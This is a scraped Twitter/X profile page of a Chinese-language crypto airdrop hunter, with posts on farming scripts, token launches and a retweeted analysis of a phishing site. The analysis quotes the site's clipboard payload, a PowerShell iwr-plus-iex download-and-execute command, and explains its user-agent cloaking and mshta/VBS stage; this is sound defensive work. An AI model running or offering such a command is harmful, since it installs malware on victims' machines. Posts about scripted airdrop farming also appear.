Alpha | airdrop hunter | On-chain arbitrage | Code & coffee
San Francisco
Joined January 2014
- Tweets213
- Following1.1K
- Followers466
- Likes443
写了个脚本做abs的红牛任务，全员白银。大放水？or 老鼠仓？
abs这周更新了跟红牛联名的新徽章。free mint成本很低，要求连续铸造3天可获得徽章，今天是活动第二天，本着做一下日常交互的原则，抽空写了下脚本。abs链采用的是AA钱包的模式，使用EOA钱包签名，交易由合约钱包上链，代付钱包的模型。
代码已开源上传github仓库，阅读文档README文档使用即可，如果明天官方没有更改变合约，我会继续更新代码。
活动链接：gate.com/zh/web3/activities/…
Github地址：github.com/Pengu1ncc/abstrac…
#AbstractChain #Gate #RedBull
abs这周更新了跟红牛联名的新徽章。free mint成本很低，要求连续铸造3天可获得徽章，今天是活动第二天，本着做一下日常交互的原则，抽空写了下脚本。abs链采用的是AA钱包的模式，使用EOA钱包签名，交易由合约钱包上链，代付钱包的模型。
代码已开源上传github仓库，阅读文档README文档使用即可，如果明天官方没有更改变合约，我会继续更新代码。
活动链接：gate.com/zh/web3/activities/…
Github地址：github.com/Pengu1ncc/abstrac…
#AbstractChain #Gate #RedBull
Its CC🧪Building Alkanes CH₄💥 retweeted
刚才一个小时内私信我的几个人，我在确认他们在 #litesol 上面亏了钱之后，都按照他们的亏钱情况给他们退钱了。
后面不会再退了，因为你们没赶上。
Its CC🧪Building Alkanes CH₄💥 retweeted
今天见识到了 $Mirai 的流动性控盘手法
图中蓝线代表官方加的池子的价格上下限
和传统的AMM不同， $Mirai 用了DLMM的Bid-Ask分布
流动性会分布在两侧，也就是价格越靠近蓝线，Swap导致的价格影响就越小，通俗点说就是突破阻力大。
在加池子之后，很多degen涌入，临近价格上限时，官方开始从大到小分发代币，让大户先砸了一波。
砸到了价格下限，公布CA，同时终止代币分发，于是在完全没有抛压的情况下，代币价格重回上限。
于是官方又开始分发代币，价格又要被砸下去了。
而DLMM的基础费率被设置为5%，最高费率可以达到10%，官方从价格操纵的过程中爽吃手续费。
@Mirai_terminal @HoloworldAI
Its CC🧪Building Alkanes CH₄💥 retweeted
昨天 @Paang_eth 被一个针对币圈的钓鱼网站给干了。
网站正常拿浏览器打开的话，会显示如下页面：
然后会在剪贴板存储如下内容：
cmd.exe /c start /min powershell.exe -Command "$confirm=iwr '************'; iex $confirm" # 🔶 One time Unique Code - Response ID: 832935038394
其中的 **** 是上面那个钓鱼网站的域名，但没带 http 或 https 前缀，也没有 www 子域名。
如果不太了解 pwsh 命令的话，可能真会以为这个单纯只是一个用来过网站验证的命令。
但是熟悉 pwsh 的都知道，iwr 是类似于 curl / wget 一样的下载命令，iex 的话，是类似于 eval 一样的执行命令。
所以这样的下载执行一条龙，很大概率会是往你电脑里面塞后门的行为。
而这个域名咱们刚才访问不是正常的一个页面嘛，能下载什么呢？这就提到一个叫 User-Agent (UA) 的东西了，是任何可以联网（指通过 http / https 联网）的程序都会具备的一个标识符，搞技术撸毛的肯定都知道。
这个网站就是基于 UA 做了内容分流，如果是浏览器的 UA，就会返回正常页面以供显示，如果是 pwsh 的 UA，就会返回可执行的脚本以供执行。
咱们拿 pwsh 的 UA 访问一下这个网站，发现真的返回了一段命令。
命令解码之后发现是一个 web2 钓鱼比较经典的 payload 方案，即拿 mshta 执行一个网页脚本（通常是 vbs 脚本）。
那么咱们就得去打开这个新拿到的 url，去看看网页脚本里面有什么。
这个 url 同样需要特定的 UA （mshta 的 UA）才会返回恶意脚本。可以发现返回的脚本很明显是 vbs 脚本。
最近被 $JAGER 刷屏了，朋友喊我写脚本撸空投，脚本已经写好了，再顺手做个 Dune 图，统计5月4日以后与 fourmeme 内盘交互金额 >0.01 BNB 的新增地址数（没统计老地址）。准备最后看数据再冲一波。
Dune看板地址：dune.com/91mrwei/fourmeme-ja…
This Post is from a suspended account. Learn more
继上回，距离开盘还有十多分钟，网站前端中已经匹配不到ca，且修改网站时间也无法跳转到开盘界面，猜测项目方多半换了地址，网站逻辑变成了手动控制
听说三上老师要发币，好兄弟 @GoudanWoo 迫不及待的使用正则表达式在网站前端里面找到了ca，准备圆自己一个儿时的梦。
网站：mikamiyua.io/
ca：Mikamismig6oeeQJJR2ix3b6Nm2jQB4MtixQEb4vtw5
注意风险，DYOR！
听说三上老师要发币，好兄弟 @GoudanWoo 迫不及待的使用正则表达式在网站前端里面找到了ca，准备圆自己一个儿时的梦。
网站：mikamiyua.io/
ca：Mikamismig6oeeQJJR2ix3b6Nm2jQB4MtixQEb4vtw5
注意风险，DYOR！
写了一些 Web3 脚本后，越能体会到密码学在 Web3 中的重要性。开发时交易逻辑不算难，且大部分代码库都有提供交易签名的实现，但遇到特殊情况，还是需要自己手动构造签名实现。打算抽时间重新学习一下Lazzzaro的密码学文章，并用代码手动实现。文章链接：lazzzaro.github.io/categorie…
2
10
1,201
大毛预订@Gradient_HQ ，和朋友@Dora_Nobita_ 研究了黑科技，运行一周被成功封号。看到不少fud，但有些不同想法：gradient ip要求严格，client限制每日分数，有封禁机制，门槛稍高。这些限制恰好是项目壁垒。高门槛+低成本杠杆打法，意味着可能是个高赔率项目。如果有老师有做项目的方案，欢迎dm交流。
打的神秘雪人nft空投了 @lofitheyeti @LofiTheYetiCN 。
5月1前花费5sui可以提前开图，5月1后会自动开图。目前地板价格是mint x2，流动性稍差，不过在做雪人项目的同时吃到了sui和lofi的涨幅，基本上又吃又拿。
开图链接：mysticyetissui.lofitheyeti.c…
市场链接：tradeport.xyz/sui/collection…
